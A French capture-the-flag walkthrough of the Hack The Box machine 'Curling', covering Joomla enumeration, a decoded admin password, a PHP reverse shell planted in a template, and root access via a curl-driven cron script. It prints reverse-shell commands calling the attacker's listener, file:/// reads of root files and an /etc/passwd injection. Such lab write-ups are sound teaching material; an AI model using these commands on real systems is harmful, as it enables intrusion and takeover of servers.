Curling

C'est au tour de la box curling. Comme d'habitude, le nom de la box a certainement un rapport avec la faille à exploiter. CURL ?? On va voir ça...

Niveau : facile

But : récupérer les fichiers users.txt et root.txt

Au programme

Scan

• nmap
• joomla

Exploitation de la vulnérabilité

• Upload d'une shell dans un template

Élévation de privillège

• Ajout d'un utilisateur à l'aide d'un script

Scan avec nmap

Peu de ports ouvert sur cette machine

• Port 22 : SSH OpenSSH 7.6p1 Ubuntu ; on a peu de chance d'exploiter ce port à part avec une attaque "brute force" mais ça n'a aucun intérêt
• Ports 80 : HTTP Joomla. C'est beaucoup plus intéressant. Allez j'ouvre firefox

nmap -sT -A --top-ports=1000 10.10.10.150

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home


Énumération

Le site ne donne pas beaucoup d'information. On a un utilisateur "Super User" et un des articles est signé par un certain Floris. On peut voir la version du site en allant récupérer le xml suivant : http://10.10.10.150/administrator/manifests/files/joomla.xml On a donc un joomla 3.8.8. Je n'ai pas trouvé de faille sur https://www.exploit-db.com. Il va falloir creuser un peu plus.

J'ai d'abord voulu voir s'il n'y avait pas de composant/module/plugin présentant une faille. Rien de notable sur le frontend ; j'ai donc lancé un scan à l'aide de joomla scan

joomscan -u 10.10.10.150

Processing http://10.10.10.150 ...

[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.8.8

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing :
http://10.10.10.150/administrator/components
http://10.10.10.150/administrator/modules
http://10.10.10.150/administrator/templates
http://10.10.10.150/images/banners

[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://10.10.10.150/administrator/

[+] Checking robots.txt existing
[++] robots.txt is not found

[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config files are not found

Le seul résultat intéressant c'est le Directory listing qui permet d'aller voir les dossiers. Malheureusement, il n'y a pas grand chose. C'est le moment d'aller voir le code source.

Bingo il y a un fichier secret.txt à la racine

 C'est surement un mot de passe. Malheureusement ça ne donne rien ni avec super user ni avec Floris. Serait-il chiffré ? Allez un petit tour sur le super site dcode. qui nous dit qu'on a surement à faire à du base 64. Un petit tour de décodeur et puis s'en va. On a le mot de passe : Curling2018!

Me voilà sur l'admin

Exploitation de la vulnérabilité

Une fois là ça devient facile. J'installe des sites joomla depuis 15 ans ; je connais bien les failles. L'idée c'est de créer un reverse shell dans une page du template. On commence donc par créer le code avec msfvenom.

msfvenom -p php/reverse_php lhost=10.10.14.4 lport=443 -f raw

Et on colle ce code dans un nouveau fichier shell.php à la racine de protostar

 Il n'y a plus qu'à lancer netcat :

nc -nlvp 443

La shell obtenue n'est pas interactive, pour plus de flexibilité et de facilité, je l'ai "upgradé" en lançant le code suivant dans la précédente shell après avoir lancé un nouveau netcat :

php -r '$s=fsockopen("10.10.14.4",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

Et enfin un petit

python3 -c 'import pty; pty.spawn("/bin/bash")'

Pour avoir bash. J'aime bien travailler avec de bon outils ;-)

J'ai pu me rendre dans /home/floris mais je n'ai pas eu accès à user.txt. Par contre un ls -lah nous montre un fichier intéressant : password_backup

cat password_backup nous renvoie un hexdump ; encore une fois il va falloir creuser.

Tout d'abord on va convertir le hexdump en binary avec la commande suivante :

xxd -r password_backup > /tmp/password

Puis un petit file nous informe qu'on est face à un fichier bzip2

file /tmp/password
/tmp/password: bzip2 compressed data, block size = 900k

On dezippe et la surprise c'est encore zippé ; cette fois en .gz. Je ne vais pas commenter le reste qui n'est qu'une succession de unzip, untar etc. ; tout est dans l'image

Youpi on a le mot de passe et donc user.txt

Élévation de privillège

 En regardant à l'intérieur du dossier de floris, on tombe sur un dossier admin-area contenant 2 fichiers input et report.

input contient juste un paramètre : url="http://127.0.0.1"

Et report contient le site joomla soit le code renvoyé par http://127.0.0.1.

On a donc un script qui prend comme valeur le fichier input et qui renvoie le tout dans report.

Essayons de voir ce qui se passe si je modifie input par url = file:///root/root.txt

Bingo ; on a le fichier qu'on voulait.

Bonus

root.txt c'est bien mais une shell en root c'est mieux.

curl permet d'écrire dans un fichier à l'aide de l'option -o, --output <file>

Et si on modifié le fichier input en ajoutant un utilisateur à /etc/passwd. Tout est dans l'image